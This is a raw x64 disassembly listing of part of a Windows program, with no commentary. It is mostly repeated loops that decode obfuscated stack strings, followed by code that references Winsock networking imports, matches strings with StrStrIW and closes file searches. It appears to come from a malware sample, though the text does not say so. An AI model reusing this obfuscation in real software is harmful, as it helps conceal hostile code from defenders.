mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x841], cl
add rax, 1
cmp rax, 0x24
jne 0x140021ce0
lea rax, [rbp + 0x841]
mov qword [rbp + 0x458], rax
mov byte [rbp + 0x820], 0
mov byte [rbp + 0x821], 5
mov byte [rbp + 0x822], 0x3a
mov byte [rbp + 0x823], 0x40
mov byte [rbp + 0x824], 0x3a
mov byte [rbp + 0x825], 0x21
mov byte [rbp + 0x826], 0x3a
mov byte [rbp + 0x827], 0x21
mov byte [rbp + 0x828], 0x3a
mov byte [rbp + 0x829], 0x40
mov byte [rbp + 0x82a], 0x3a
mov byte [rbp + 0x82b], WSACleanup
mov byte [rbp + 0x82c], 0x3a
mov byte [rbp + 0x82d], gethostbyname
mov byte [rbp + 0x82e], 0x3a
mov byte [rbp + 0x82f], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x830], 0x3a
mov byte [rbp + 0x831], 0x62
mov byte [rbp + 0x832], 0x3a
mov byte [rbp + 0x833], 0x51
mov byte [rbp + 0x834], 0x3a
mov byte [rbp + 0x835], 0x24
mov byte [rbp + 0x836], 0x3a
mov byte [rbp + 0x837], 0x7e
mov byte [rbp + 0x838], 0x3a
mov byte [rbp + 0x839], 0x3a
mov byte [rbp + 0x83a], 0x3a
mov al, byte [rbp + 0x820]
test al, 1
jne 0x140021eba
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte [rbp + rax + 0x821]
movzx ecx, cl
imul ecx, ecx, 0xffffffd3
mov edx, ecx
add edx, 0xa32
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0xa32
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0xa32
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x821], cl
add rax, 1
cmp rax, 0x1a
jne 0x140021e40
lea rax, [rbp + 0x821]
mov qword [rbp + 0x460], rax
mov byte [rbp + 0xb78], 0
mov byte [rbp + 0xb79], 0x66
mov byte [rbp + 0xb7a], 0x7b
mov byte [rbp + 0xb7b], shutdown
mov byte [rbp + 0xb7c], 0x7b
mov byte [rbp + 0xb7d], 0x49
mov byte [rbp + 0xb7e], 0x7b
mov byte [rbp + 0xb7f], 0x62
mov byte [rbp + 0xb80], 0x7b
mov byte [rbp + 0xb81], 0x24
mov byte [rbp + 0xb82], 0x7b
mov byte [rbp + 0xb83], 0x7b
mov byte [rbp + 0xb84], 0x7b
mov al, byte [rbp + 0xb78]
test al, 1
jne 0x140021fbe
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax]
movzx ecx, byte [rbp + rax + 0xb79]
movzx ecx, cl
mov edx, ecx
shl edx, 5
sub edx, ecx
mov ecx, edx
add ecx, 0xfffff11b
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, edx
add ecx, 0xfffff11b
movzx ecx, cx
mov ebx, ecx
shr ebx, 0xf
shr ecx, 6
add ecx, ebx
mov ebx, ecx
shl ebx, 7
sub ecx, ebx
add ecx, edx
add ecx, 0xfffff11b
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0xb79], cl
add rax, 1
cmp rax, 0xc
jne 0x140021f40
lea rax, [rbp + 0xb79]
mov qword [rbp + 0x468], rax
mov byte [rbp + 0x890], 0
mov byte [rbp + 0x891], reloc.WS2_32.dll_socket
mov byte [rbp + 0x892], gethostbyname
mov byte [rbp + 0x893], inet_ntoa
mov byte [rbp + 0x894], gethostbyname
mov byte [rbp + 0x895], WSAGetLastError
mov byte [rbp + 0x896], gethostbyname
mov byte [rbp + 0x897], 0x2b
mov byte [rbp + 0x898], gethostbyname
mov byte [rbp + 0x899], 0x7d
mov byte [rbp + 0x89a], gethostbyname
mov byte [rbp + 0x89b], reloc.WS2_32.dll_socket
mov byte [rbp + 0x89c], gethostbyname
mov byte [rbp + 0x89d], 0x4a
mov byte [rbp + 0x89e], gethostbyname
mov byte [rbp + 0x89f], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x8a0], gethostbyname
mov byte [rbp + 0x8a1], 0x1e
mov byte [rbp + 0x8a2], gethostbyname
mov byte [rbp + 0x8a3], 0x7d
mov byte [rbp + 0x8a4], gethostbyname
mov byte [rbp + 0x8a5], WSACleanup
mov byte [rbp + 0x8a6], gethostbyname
mov byte [rbp + 0x8a7], gethostname
mov byte [rbp + 0x8a8], gethostbyname
mov byte [rbp + 0x8a9], WSAGetLastError
mov byte [rbp + 0x8aa], gethostbyname
mov byte [rbp + 0x8ab], WSACleanup
mov byte [rbp + 0x8ac], gethostbyname
mov byte [rbp + 0x8ad], 0x44
mov byte [rbp + 0x8ae], gethostbyname
mov byte [rbp + 0x8af], gethostbyname
mov byte [rbp + 0x8b0], gethostbyname
mov al, byte [rbp + 0x890]
test al, 1
jne 0x140022136
xor eax, eax
nop
movzx ecx, byte [rbp + rax + 0x891]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*4]
mov edx, 0x3c0
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x3c0
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x891], cl
add rax, 1
cmp rax, 0x20
jne 0x1400220c0
lea rax, [rbp + 0x891]
mov qword [rbp + 0x470], rax
mov byte [rbp + 0x790], 0
mov byte [rbp + 0x791], 0x64
mov byte [rbp + 0x792], 1
mov byte [rbp + 0x793], gethostbyname
mov byte [rbp + 0x794], 1
mov byte [rbp + 0x795], 5
mov byte [rbp + 0x796], 1
mov byte [rbp + 0x797], 0x61
mov byte [rbp + 0x798], 1
mov byte [rbp + 0x799], 0x48
mov byte [rbp + 0x79a], 1
mov byte [rbp + 0x79b], 0x64
mov byte [rbp + 0x79c], 1
mov byte [rbp + 0x79d], 0x56
mov byte [rbp + 0x79e], 1
mov byte [rbp + 0x79f], WSACleanup
mov byte [rbp + 0x7a0], 1
mov byte [rbp + 0x7a1], 0x61
mov byte [rbp + 0x7a2], 1
mov byte [rbp + 0x7a3], 0x25
mov byte [rbp + 0x7a4], 1
mov byte [rbp + 0x7a5], 0x68
mov byte [rbp + 0x7a6], 1
mov byte [rbp + 0x7a7], 0x25
mov byte [rbp + 0x7a8], 1
mov byte [rbp + 0x7a9], 5
mov byte [rbp + 0x7aa], 1
mov byte [rbp + 0x7ab], 0x61
mov byte [rbp + 0x7ac], 1
mov byte [rbp + 0x7ad], 0x25
mov byte [rbp + 0x7ae], 1
mov byte [rbp + 0x7af], shutdown
mov byte [rbp + 0x7b0], 1
mov byte [rbp + 0x7b1], 1
mov byte [rbp + 0x7b2], 1
mov al, byte [rbp + 0x790]
test al, 1
jne 0x1400222c3
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x791]
movzx ecx, cl
shl ecx, 2
lea ecx, [rcx + rcx*8]
mov edx, 0x24
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x24
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x791], cl
add rax, 1
cmp rax, 0x22
jne 0x140022250
lea rax, [rbp + 0x791]
mov qword [rbp + 0x478], rax
mov byte [rbp + 0x700], 0
mov byte [rbp + 0x701], 0x5f
mov byte [rbp + 0x702], 0x18
mov byte [rbp + 0x703], 0x7c
mov byte [rbp + 0x704], 0x18
mov byte [rbp + 0x705], 0x20
mov byte [rbp + 0x706], 0x18
mov byte [rbp + 0x707], 0x59
mov byte [rbp + 0x708], 0x18
mov byte [rbp + 0x709], 0x27
mov byte [rbp + 0x70a], 0x18
mov byte [rbp + 0x70b], 0x5f
mov byte [rbp + 0x70c], 0x18
mov byte [rbp + 0x70d], 0x43
mov byte [rbp + 0x70e], 0x18
mov byte [rbp + 0x70f], 0x44
mov byte [rbp + 0x710], 0x18
mov byte [rbp + 0x711], gethostbyname
mov byte [rbp + 0x712], 0x18
mov byte [rbp + 0x713], gethostbyname
mov byte [rbp + 0x714], 0x18
mov byte [rbp + 0x715], 0x18
mov byte [rbp + 0x716], 0x18
mov al, byte [rbp + 0x700]
test al, 1
jne 0x1400223f5
xor eax, eax
nop
movzx ecx, byte [rbp + rax + 0x701]
movzx ecx, cl
add ecx, ecx
lea ecx, [rcx + rcx*8]
mov edx, 0x1b0
sub edx, ecx
movsx ebx, dx
imul ebx, ebx, 0xffff8103
shr ebx, 0x10
add ebx, edx
movzx ebx, bx
mov edx, ebx
shr edx, 0xf
shr ebx, 6
add ebx, edx
mov edx, ebx
shl edx, 7
add edx, ecx
sub ebx, edx
add ebx, 0x1b0
add bl, 0x7f
movzx ecx, bl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x701], cl
add rax, 1
cmp rax, 0x16
jne 0x140022380
lea rax, [rbp + 0x701]
mov qword [rbp + 0x480], rax
mov byte [rbp + 0x868], 0
mov byte [rbp + 0x869], 0x48
mov byte [rbp + 0x86a], 0x21
mov byte [rbp + 0x86b], 0x2d
mov byte [rbp + 0x86c], 0x21
mov byte [rbp + 0x86d], 0x64
mov byte [rbp + 0x86e], 0x21
mov byte [rbp + 0x86f], 0x75
mov byte [rbp + 0x870], 0x21
mov byte [rbp + 0x871], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x872], 0x21
mov byte [rbp + 0x873], 0x48
mov byte [rbp + 0x874], 0x21
mov byte [rbp + 0x875], 0x1c
mov byte [rbp + 0x876], 0x21
mov byte [rbp + 0x877], 0x7a
mov byte [rbp + 0x878], 0x21
mov byte [rbp + 0x879], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x87a], 0x21
mov byte [rbp + 0x87b], 0x48
mov byte [rbp + 0x87c], 0x21
mov byte [rbp + 0x87d], 1
mov byte [rbp + 0x87e], 0x21
mov byte [rbp + 0x87f], shutdown
mov byte [rbp + 0x880], 0x21
mov byte [rbp + 0x881], 0x1c
mov byte [rbp + 0x882], 0x21
mov byte [rbp + 0x883], 0x22
mov byte [rbp + 0x884], 0x21
mov byte [rbp + 0x885], 1
mov byte [rbp + 0x886], 0x21
mov byte [rbp + 0x887], 0x4e
mov byte [rbp + 0x888], 0x21
mov byte [rbp + 0x889], 0x4e
mov byte [rbp + 0x88a], 0x21
mov byte [rbp + 0x88b], 0x21
mov byte [rbp + 0x88c], 0x21
mov al, byte [rbp + 0x868]
test al, 1
jne 0x14002259a
xor eax, eax
nop word cs:[rax + rax]
movzx ecx, byte [rbp + rax + 0x869]
movzx ecx, cl
imul ecx, ecx, 0xffffffe9
mov edx, ecx
add edx, 0x2f7
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x2f7
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x2f7
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x869], cl
add rax, 1
cmp rax, 0x24
jne 0x140022520
lea rax, [rbp + 0x869]
mov qword [rbp + 0x488], rax
mov byte [rbp + 0x778], 0
mov byte [rbp + 0x779], 0x22
mov byte [rbp + 0x77a], 0x46
mov byte [rbp + 0x77b], 0x67
mov byte [rbp + 0x77c], 0x46
mov byte [rbp + 0x77d], WSACleanup
mov byte [rbp + 0x77e], 0x46
mov byte [rbp + 0x77f], 0x67
mov byte [rbp + 0x780], 0x46
mov byte [rbp + 0x781], 0x26
mov byte [rbp + 0x782], 0x46
mov byte [rbp + 0x783], 0x59
mov byte [rbp + 0x784], 0x46
mov byte [rbp + 0x785], 0x4a
mov byte [rbp + 0x786], 0x46
mov byte [rbp + 0x787], 0x4e
mov byte [rbp + 0x788], 0x46
mov byte [rbp + 0x789], gethostbyname
mov byte [rbp + 0x78a], 0x46
mov byte [rbp + 0x78b], 0x46
mov byte [rbp + 0x78c], 0x46
mov al, byte [rbp + 0x778]
test al, 1
jne 0x1400226ca
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte [rbp + rax + 0x779]
movzx ecx, cl
imul ecx, ecx, 0xffffffdd
mov edx, ecx
add edx, 0x992
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x992
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x992
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x779], cl
add rax, 1
cmp rax, 0x14
jne 0x140022650
lea rax, [rbp + 0x779]
mov qword [rbp + 0x490], rax
mov byte [rbp + 0x7b8], 0
mov byte [rbp + 0x7b9], 0x23
mov byte [rbp + 0x7ba], gethostbyname
mov byte [rbp + 0x7bb], 7
mov byte [rbp + 0x7bc], gethostbyname
mov byte [rbp + 0x7bd], shutdown
mov byte [rbp + 0x7be], gethostbyname
mov byte [rbp + 0x7bf], 0x7c
mov byte [rbp + 0x7c0], gethostbyname
mov byte [rbp + 0x7c1], shutdown
mov byte [rbp + 0x7c2], gethostbyname
mov byte [rbp + 0x7c3], 0x23
mov byte [rbp + 0x7c4], gethostbyname
mov byte [rbp + 0x7c5], 0x1b
mov byte [rbp + 0x7c6], gethostbyname
mov byte [rbp + 0x7c7], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x7c8], gethostbyname
mov byte [rbp + 0x7c9], 0x1b
mov byte [rbp + 0x7ca], gethostbyname
mov byte [rbp + 0x7cb], 0x7e
mov byte [rbp + 0x7cc], gethostbyname
mov byte [rbp + 0x7cd], 0x7a
mov byte [rbp + 0x7ce], gethostbyname
mov byte [rbp + 0x7cf], 0x1f
mov byte [rbp + 0x7d0], gethostbyname
mov byte [rbp + 0x7d1], 0x19
mov byte [rbp + 0x7d2], gethostbyname
mov byte [rbp + 0x7d3], 7
mov byte [rbp + 0x7d4], gethostbyname
mov byte [rbp + 0x7d5], 0x1d
mov byte [rbp + 0x7d6], gethostbyname
mov byte [rbp + 0x7d7], 0x27
mov byte [rbp + 0x7d8], gethostbyname
mov byte [rbp + 0x7d9], gethostbyname
mov byte [rbp + 0x7da], gethostbyname
mov al, byte [rbp + 0x7b8]
test al, 1
jne 0x140022866
xor eax, eax
nop dword [rax]
movzx ecx, byte [rbp + rax + 0x7b9]
movzx ecx, cl
mov edx, ecx
shl edx, 6
mov ebx, ecx
sub ebx, edx
neg edx
add ecx, edx
add ecx, 0xc8d
movsx ecx, cx
imul ecx, ecx, 0xffff8103
shr ecx, 0x10
add ecx, ebx
add ecx, 0xc8d
movzx ecx, cx
mov edx, ecx
shr edx, 0xf
shr ecx, 6
add ecx, edx
mov edx, ecx
shl edx, 7
sub ecx, edx
add ecx, ebx
add ecx, 0xc8d
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x7b9], cl
add rax, 1
cmp rax, 0x22
jne 0x1400227e0
lea rax, [rbp + 0x7b9]
mov qword [rbp + 0x498], rax
mov byte [rbp + 0x9f8], 0
mov byte [rbp + 0x9f9], 0x63
mov byte [rbp + 0x9fa], shutdown
mov byte [rbp + 0x9fb], 0x52
mov byte [rbp + 0x9fc], shutdown
mov byte [rbp + 0x9fd], 0x4f
mov byte [rbp + 0x9fe], shutdown
mov byte [rbp + 0x9ff], 0x55
mov byte [rbp + 0xa00], shutdown
mov byte [rbp + 0xa01], gethostname
mov byte [rbp + 0xa02], shutdown
mov byte [rbp + 0xa03], 0x63
mov byte [rbp + 0xa04], shutdown
mov byte [rbp + 0xa05], 0x4c
mov byte [rbp + 0xa06], shutdown
mov byte [rbp + 0xa07], 0x4b
mov byte [rbp + 0xa08], shutdown
mov byte [rbp + 0xa09], 0x1b
mov byte [rbp + 0xa0a], shutdown
mov byte [rbp + 0xa0b], WSAGetLastError
mov byte [rbp + 0xa0c], shutdown
mov byte [rbp + 0xa0d], gethostname
mov byte [rbp + 0xa0e], shutdown
mov byte [rbp + 0xa0f], gethostbyname
mov byte [rbp + 0xa10], shutdown
mov byte [rbp + 0xa11], gethostname
mov byte [rbp + 0xa12], shutdown
mov byte [rbp + 0xa13], 0x4b
mov byte [rbp + 0xa14], shutdown
mov byte [rbp + 0xa15], 0x7d
mov byte [rbp + 0xa16], shutdown
mov byte [rbp + 0xa17], 0x52
mov byte [rbp + 0xa18], shutdown
mov byte [rbp + 0xa19], 0x3b
mov byte [rbp + 0xa1a], shutdown
mov byte [rbp + 0xa1b], 0x63
mov byte [rbp + 0xa1c], shutdown
mov byte [rbp + 0xa1d], 0x3b
mov byte [rbp + 0xa1e], shutdown
mov byte [rbp + 0xa1f], 0x66
mov byte [rbp + 0xa20], shutdown
mov byte [rbp + 0xa21], shutdown
mov byte [rbp + 0xa22], shutdown
mov al, byte [rbp + 0x9f8]
test al, 1
jne 0x14001be66
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax + rax]
movzx ecx, byte [rbp + rax + 0x9f9]
movzx ecx, cl
imul ecx, ecx, 0xffffffd4
mov edx, ecx
add edx, 0x318
movsx edx, dx
imul edx, edx, 0xffff8103
shr edx, 0x10
add edx, ecx
add edx, 0x318
movzx edx, dx
mov ebx, edx
shr ebx, 0xf
shr edx, 6
add edx, ebx
mov ebx, edx
shl ebx, 7
sub edx, ebx
add ecx, edx
add ecx, 0x318
add cl, 0x7f
movzx ecx, cl
lea edx, [rcx + rcx*2]
shr edx, 8
mov ebx, ecx
sub bl, dl
shr bl, 1
add bl, dl
shr bl, 6
movzx ebx, bl
mov edx, ebx
shl edx, 7
sub edx, ebx
sub cl, dl
mov byte [rbp + rax + 0x9f9], cl
add rax, 1
cmp rax, 0x2a
jne 0x1400229c0
jmp 0x14001be66
xor edi, edi
nop word cs:[rax + rax]
nop dword [rax + rax]
mov rsi, rdi
add rdi, 1
cmp rdi, 0x2d
je 0x140022a73
mov rdx, qword [rbp + rdi*8 + 0x340]
mov rcx, r15
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
test rax, rax
je 0x140022a50
cmp rsi, 0x2c
jb 0x14001be90
mov qword [rbp + 0x270], 0
movaps xmm0, xmmword [section..rdata]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x270], 0
mov rcx, r15
call fcn.140036e08
mov rsi, rax
cmp rax, 7
jbe 0x140022ac4
lea rcx, [rbp + 0x270]
mov rdx, rsi
mov r9, r15
call fcn.1400015c0
jmp 0x140022aea
mov qword [rbp + 0x280], rsi
mov r8, rsi
add r8, rsi
lea rcx, [rbp + 0x270]
mov rdx, r15
call fcn.140033760
mov word [rbp + rsi*2 + 0x270], 0
mov rdi, qword [rbp + 0x560]
cmp qword [rbp + 0x568], 8
lea rsi, [rbp + 0x550]
jb 0x140022b09
mov rsi, qword [rbp + 0x550]
cmp rdi, 7
ja 0x140022b20
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x210], xmm0
mov ebx, 7
jmp 0x140022b94
mov rbx, rdi
or rbx, 7
movabs rax, 0x7ffffffffffffffe
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rax + rax]
cmp rax, 0x7ff
jb 0x140022b71
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x140023135
add rcx, 0x29
call fcn.140031dec
mov rcx, rax
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140022b7a
add rcx, 2
call fcn.140031dec
mov qword [rbp + 0x210], rax
lea r8, [rdi + rdi]
add r8, 2
mov rcx, rax
mov rdx, rsi
call fcn.140033760
mov qword [rbp + 0x220], rdi
mov qword [rbp + 0x228], rbx
lea rcx, [rbp + 0x340]
lea rdx, [rbp + 0x210]
lea r8, [rbp + 0x270]
call fcn.140023830
mov ecx, gethostbyname
call fcn.140031dec
mov rsi, rax
mov qword [rax], 0
movaps xmm0, xmmword [section..rdata]
movups xmmword [rax + 0x10], xmm0
mov word [rax], 0
cmp qword [rbp + 0x358], 8
lea r9, [rbp + 0x340]
jb 0x140022bf8
mov r9, qword [rbp + 0x340]
mov rdi, qword [rbp + 0x350]
cmp rdi, 7
jbe 0x140022c12
mov rcx, rsi
mov rdx, rdi
call fcn.1400015c0
jmp 0x140022c2b
mov qword [rsi + 0x10], rdi
lea r8, [rdi + rdi]
mov rcx, rsi
mov rdx, r9
call fcn.140033760
mov word [rsi + rdi*2], 0
mov rax, rsi
add rax, 0x20
mov qword [rsi + 0x20], 0
mov rcx, qword [rbp + 0x318]
mov qword [rsi + 0x28], rcx
mov qword [rcx], rsi
mov qword [rbp + 0x318], rax
mov rax, qword [rbp + 0x358]
cmp rax, 8
jb 0x14001be90
mov rcx, qword [rbp + 0x340]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140022eed
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x140023108
add rax, rax
add rax, 0x29
mov rdx, rax
jmp 0x140022eed
mov qword [rbp + 0x2a0], rsi
mov r8, rsi
add r8, rsi
lea rcx, [rbp + 0x290]
mov rdx, r15
call fcn.140033760
mov word [rbp + rsi*2 + 0x290], 0
mov rdi, qword [rbp + 0x560]
cmp qword [rbp + 0x568], 8
lea rsi, [rbp + 0x550]
jb 0x140022ce8
mov rsi, qword [rbp + 0x550]
cmp rdi, 7
ja 0x140022cff
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x230], xmm0
mov ebx, 7
jmp 0x140022d73
mov rbx, rdi
or rbx, 7
movabs rax, 0x7ffffffffffffffe
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rax + rax]
cmp rax, 0x7ff
jb 0x140022d50
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x14002313a
add rcx, 0x29
call fcn.140031dec
mov rcx, rax
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140022d59
add rcx, 2
call fcn.140031dec
mov qword [rbp + 0x230], rax
lea r8, [rdi + rdi]
add r8, 2
mov rcx, rax
mov rdx, rsi
call fcn.140033760
mov qword [rbp + 0x240], rdi
mov qword [rbp + 0x248], rbx
lea rcx, [rbp + 0x340]
lea rdx, [rbp + 0x230]
lea r8, [rbp + 0x290]
call fcn.140023830
mov qword [rbp + 0x250], 0
lea rax, [rbp + 0x260]
movups xmmword [rax], xmm6
mov rdx, qword [rbp + 0x340]
mov rdi, qword [rbp + 0x350]
mov rcx, qword [rbp + 0x358]
mov rax, rcx
mov qword [rbp + 0x2f8], rcx
cmp rcx, 8
lea rsi, [rbp + 0x340]
mov qword [rbp + 0x300], rdx
cmovae rsi, rdx
cmp rdi, 7
ja 0x140022dfc
movups xmm0, xmmword [rsi]
movaps xmmword [rbp + 0x250], xmm0
mov ebx, 7
jmp 0x140022e70
mov rbx, rdi
or rbx, 7
movabs rax, 0x7ffffffffffffffe
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rax + rax]
cmp rax, 0x7ff
jb 0x140022e4d
movabs rdx, 0x7fffffffffffffec
cmp rax, rdx
jae 0x14002313f
add rcx, 0x29
call fcn.140031dec
mov rcx, rax
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140022e56
add rcx, 2
call fcn.140031dec
mov qword [rbp + 0x250], rax
lea r8, [rdi + rdi]
add r8, 2
mov rcx, rax
mov rdx, rsi
call fcn.140033760
mov qword [rbp + 0x260], rdi
mov qword [rbp + 0x268], rbx
mov ecx, dword [rbp + 0x54c]
lea rdx, [rbp + 0x250]
call fcn.140031b70
cmp eax, 0x3a98
jl 0x140022ea2
mov ecx, dword [rbp + 0x54c]
call fcn.140031db0
mov rbx, qword [rbp + 0x2f8]
cmp rbx, 8
jb 0x14001be90
lea rdx, [rbx + rbx]
add rdx, 2
cmp rdx, 0x1000
mov rcx, qword [rbp + 0x300]
jb 0x140022eed
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x140023108
add rbx, rbx
add rbx, 0x29
mov rdx, rbx
mov rcx, rax
call fcn.140031e30
jmp 0x14001be90
mov rcx, qword [rbp + 0x2f0]
mov rdx, qword [rcx + 0x20]
mov rax, qword [rcx + 0x28]
test rdx, rdx
je 0x140022f30
mov qword [rdx + 0x28], rax
mov rdx, qword [rcx + 0x20]
mov rax, qword [rcx + 0x28]
jmp 0x140022f39
mov qword [rbp + 0x318], rax
xor edx, edx
mov qword [rax], rdx
mov rax, qword [rcx + 0x18]
cmp rax, 8
jb 0x140022f88
mov rcx, qword [rcx]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140022f7c
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x140023108
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.140031e30
mov rcx, qword [rbp + 0x2f0]
call fcn.140031e28
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_FindClose]
jmp 0x140022ff5
mov qword [rbp + 0x318], rax
xor edx, edx
mov qword [rax], rdx
mov rax, qword [rcx + 0x18]
cmp rax, 8
jb 0x140022ff0
mov rcx, qword [rcx]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x140022fe4
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x140023108
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.140031e30
mov rcx, qword [rbp + 0x2f0]
call fcn.140031e28
mov rax, qword [rbp + 0x2e8]
cmp rax, 8
jb 0x140023041
mov rcx, qword [rbp + 0x2d0]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x14002303c
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x140023108
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.140031e30
mov rax, qword [rbp + 0x568]
cmp rax, 8
jb 0x14001ab65
mov rcx, qword [rbp + 0x550]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x14001ab60
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x140023108
add rax, rax
add rax, 0x29
mov rdx, rax
jmp 0x14001ab60
mov rsi, qword [rbp + 0x308]
mov rax, qword [rsi + 0x18]
cmp rax, 8
jb 0x1400230dd
mov rcx, qword [rsi]
lea rdx, [rax + rax]
add rdx, 2
cmp rdx, 0x1000
jb 0x1400230d8
mov rdx, rcx
add rdx, 0xfffffffffffffff8
mov rcx, qword [rcx - 8]
sub rdx, rcx
cmp rdx, 0x20
jae 0x140023108
add rax, rax
add rax, 0x29
mov rdx, rax
call fcn.140031e30
movaps xmm0, xmmword [section..rdata]
movups xmmword [rsi + 0x10], xmm0
mov word [rsi], 0
movaps xmm6, xmmword [rbp + 0xbe0]
add rsp, 0xc78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.1400367c0
call fcn.140001700
call fcn.140001700
call fcn.140001720
call fcn.140001720
call fcn.140001720
call fcn.140001720
call fcn.140001720
call fcn.140001720
call fcn.140001720
call fcn.140001720
call fcn.140001720
int3